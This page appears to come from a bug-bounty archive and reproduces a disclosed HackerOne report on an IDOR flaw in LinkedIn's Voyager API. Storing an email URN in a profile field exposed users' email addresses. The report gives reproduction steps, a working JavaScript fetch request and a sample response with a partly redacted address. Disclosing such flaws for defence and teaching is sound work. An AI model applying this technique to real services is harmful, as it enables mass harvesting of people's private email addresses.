Skip to content
IDOR Disclosed report Intermediate

Entire database of emails exposed through URN injection

The LinkedIn Voyager API allowed any profile text field to be expanded as a URN, so an attacker could set a website URL to an email URN and retrieve the corresponding email address. Because email IDs are sequential, this exposed the entire database of emails.

ultrapowa Follow

Originally disclosed on HackerOne

Medium 5.3 View original
  • Triaged in 5 days
  • Fixed in 5 months
  • Paid in 22 days
  • Disclosed after 5 months

Hello LinkedIn,

  1. Situation
  • The decoration feature available to anyone on voyager API allows expanding URN fields.
  • The query engine does not check whether a field should be expandable or not. Every field can be expanded.
  • It is possible to trigger a URN resolution by assigning an URN value to a text field inside a profile and using a decoration expansion in a voyager query.
  • Assigning a text field to urn:li:fs_emailAddress:[email_id] and triggering a URN resolution allows an attacker to retrieve the email.
  • Email ids are generated sequentially or pseudo-sequentially, as a result the entire database of emails is exposed.
  1. Mitigation

I suggest the following:

  • It should never be possible for a user to expand a field, unless said field is explicitly allowed to be expanded (good luck with that considering the model size lol)
  • There should be an access check on email data accessible through URN resolution
  1. Reproduce
  • Authenticate to linkedin.com
  • Edit your profile, go to contact info, add a website and set the following URL value urn:li:fs_emailAddress:8519272224
  • Open Chrome console and run the following code after editing the identity param and the csrf token:
JavaScript
await (await fetch("https://www.linkedin.com/voyager/api/identity/dash/profiles?decoration=%28websites*%28url~%29%29&memberIdentity=[public identifier]&q=memberIdentity", {
  "headers": {
    "accept": "application/vnd.linkedin.normalized+json+2.1",
    "accept-language": "en-US,en;q=0.9",
    "csrf-token": "ajax:[your token here]",
    "x-li-deco-include-micro-schema": "true",
    "x-li-lang": "en_US",
    "x-restli-protocol-version": "2.0.0"
  },
  "method": "GET",
  "mode": "cors",
  "credentials": "include"
})).json()

Result:

JavaScript
{
    "data": {
        // ...
    },
    "included": [
        {
            "entityUrn": "urn:li:fs_emailAddress:8519272224",
            "confirmed": true,
            "email": "melaa[redacted]@gmail.com",
            "$type": "com.linkedin.voyager.identity.normalizedprofile.EmailAddress",
            "primary": null
        }
    ]
}

Impact

What I'm showing here is a simple showcase attack. An elaborated attack involving arrays and multiple accounts can probably retrieve millions of emails a day.

The original report as published on HackerOne, by ultrapowa. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The query engine did not verify whether a field was allowed to be expanded, allowing any text field to trigger URN resolution and expose email data without an access check.

Impact

An attacker could retrieve individual emails and, with an elaborated attack, probably harvest millions per day.

What the attacker needed

A LinkedIn account; ability to edit profile contact info

The fix

The system should only allow expansion of fields explicitly permitted to be expanded and should enforce access checks on email data accessed through URN resolution.

How it was found

  1. Authenticate to linkedin.com
  2. Edit your profile, go to contact info, add a website and set the URL to an email URN
  3. Open the browser console and run a fetch request to the Voyager profiles endpoint with a decoration parameter
  4. Observe the response containing the email address for the given URN

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

LinkedIn's API lets you ask for extra details about certain fields, called expanding a URN. The system did not check which fields were allowed to be expanded, so a user could put a special email reference in a normal profile field and the API would return the email address. Since email IDs are sequential, an attacker could walk through them to get many emails.

What is IDOR?

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.

More from LinkedIn

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.